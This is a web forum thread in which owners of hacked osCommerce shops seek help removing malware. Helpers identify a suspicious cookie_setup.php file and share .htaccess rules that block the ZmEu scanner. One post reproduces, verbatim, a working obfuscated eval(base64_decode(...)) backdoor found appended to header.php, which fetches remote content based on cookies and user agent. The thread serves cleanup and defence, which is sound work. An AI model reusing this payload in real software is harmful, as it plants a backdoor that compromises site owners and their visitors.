VIRUS on my site - PLEASE HELP


Lary_an

Recommended Posts

Hi,

 

I have a big problem with my site - GOOGLE FLAGGED IT FOR A VIRUS. It is hosted on linux and the host does not assist in virus removal. The host suggested i download the whole site check it for viruses and upload it back up. The problem is when i do that using the latest version of NORTON i get a clean run - no viruses.

 

I checked every single file as much as i could to see if there is an updated code and didn't find any. The only thing i see which i don't think i had before is a new folder named www with a full copy of my site which looks like is being updated as soon as i update my regular site directory. i was wondering if this can be the cause of my problems.

 

PLEASE HELP!!!!

 

any advice would be greatly appreciated!!!!!

 

P.S. Just got a message from my host that www folder is a virtual folder and i shouldn't worry about it!

Norton does not check for malicious code in source of web pages.

 

If you install site monitor on your site that normally shows "most" of the files that need cleansing.

 

You could also read a few threads on hacked sites which discuss infected file in image and other directories.

How to Secure Your Site

 

Pay close attention to "SECURING THE ADMIN" - Yours is vulnerable.

 

There is a suspicious file in your root folder:

 

cookie_setup.php

 

I've seen it before.

 

It's normally a hack file.

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

Jim,

 

THANK YOU!!!!! THANK YOU!!!! THANK YOU!!!!!

 

This was it!

Everything works now and we are working on making the site more secure... We were not aware before of any AddOns that we could use (not good when you are a beginner and don't ask the right questions).

 

thanks again!

Unfortunately I have the same issue. :angry: :blush: :(

 

With site monitor I found they left the following at the end of the file catalog/includes/header.php

 

<?php eval(base64_decode("ZnVuY3Rpb24gczM3KCRzKXtmb3IgKCRhID0gMDsgJGEgPD0gc3RybGVuKCRzKS0xOyAkYSsrICl7JGUgLj0gJHN7c3RybGVuKCRzKS0kYS0xfTt9cmV0dXJuKCRlKTt9ZXZhbChzMzcoJzsibmkiPTczYyQ7InB0dGgiPTczaCQ7InN0YXRzIj03M3okJykpO2V2YWwoczM3KCc7XSJUTkVHQV9SRVNVX1BUVEgiW1JFVlJFU18kPTNhdSQnKSk7ZXZhbChzMzcoJzspInJlbGJtYVIiICwieGVkbmFZIiAsInJldmloY3JhX2FpIiAsInRvQk5TTSIgLCJwcnVsUyIgLCJlbGdvb0ciKHlhcnJhID0gNzN1JCcpKTtldmFsKHMzNygnfX07bHJ1JCBvaGNlO10xW2xydSQgPSBscnUkIDspbHJ1JCwiIW9nISIoZWRvbHB4ZSA9IGxydSR7KSkiIW9nISIsbHJ1JChydHNydHMoIGZpOykpXSJUU09IX1BUVEgiW1JFVlJFU18kKGVkb2NuZWxydS4iPWgmIi4pM2F1JChlZG9jbmVscnUuIj1iJiIuXSJSRERBX0VUT01FUiJbUkVWUkVTXyQuIj1pIi4iP3AiLiJocC4iLjczYyQuIi83M2MkLiIuNzNjJC43M2MkLjczYyQuNzNjJC43M2MkLiIvLyIuIjoiLjczaCQoc3RuZXRub2NfdGVnX2VsaWZAID0gbHJ1JCA7KTAwODAxKykoZW1pdCwpInN0YXRzIig1ZG0sNzN6JChlaWtvb2N0ZXNAIHsgZXNsZSB9eyApKSldNzN6JFtFSUtPT0NfJCh0ZXNzaSggcm8gKSkzYXUkICwiaS8iIC4gKTczdSQgLCJ8IihlZG9scG1pIC4gIi8iKGhjdGFtX2dlcnAoKGZpJykpOw=="));?>

 

When I installed my clean backup, it was back within 10 minutes, seems like they used some kind of bot.

 

When I took my site off line for a day and then tried again, it did not come back. Of course I did various things to increase my sites security, but I'm not sure if I solved the issue and that they won't be back.

 

So if anyone can translate the above for me or has some specific directions I would appreciate it.

The hacker has installed a back door to your insecure website. Look for and remove anomalous files and malicious code within the entire website.

 

Hackers commonly use 'like' files such as g00gle12331546.php or goog1e312231.php that make you think that the file is legitimate.

Yep, found some of those, and some fake php files too. Further I discovered some visits from a Russian IP 91/213/174/123

That single IP must be responsible for a lot of altered osC installations. I lost count the number of times it's been seen in my Apache logs now. Sadly Russian ISP's probably couldnt care less, so I block the whole country myself.

He's tried today, wondered how much longer before he'd be back.

 

Awwww he got a 403 poor soul!

My .htaccess file that is blocking countries is about 9mb long...

I don't go to quite that extent. Mines about 250kb with the main problematic countries in it.

 

Another one to block as a user agent is the ZmEu script. This seems to run on either compromised servers or servers specifially set up to scan other sites for vulnerabilites.

Exactly how do you block the ZmEu script Wayne? Do I just need to add RewriteCond %(HTTP_USER_AGENT) ^ZmEu [OR] to my list of blocked bots?

 

I was thinking, wouldn't it be a good idea to start a thread with an :devil: OSCOMMERCE HATE LIST? :devil: We could collect IP's of all known Oscommerce hackers and use it in the IP trap or in .htaccess. Similar for the bad bots, allthough the IPtrap has allready got a nice collection.

 

:wub:

I think I have

 

RewriteCond %{HTTP_USER_AGENT} ^(.*)ZmEu(.*) [OR]

 

Of course they can probably use any useragent they like, but most are basically lazy and dont bother. I think I have also seen the same thing visit as "Morpheous strikes again"

 

Well there are certainly many IP's that seem to visit many sites again and again.

 

It would not suprise me if they visit this forum quite a lot too! I wonder if any are registered users!
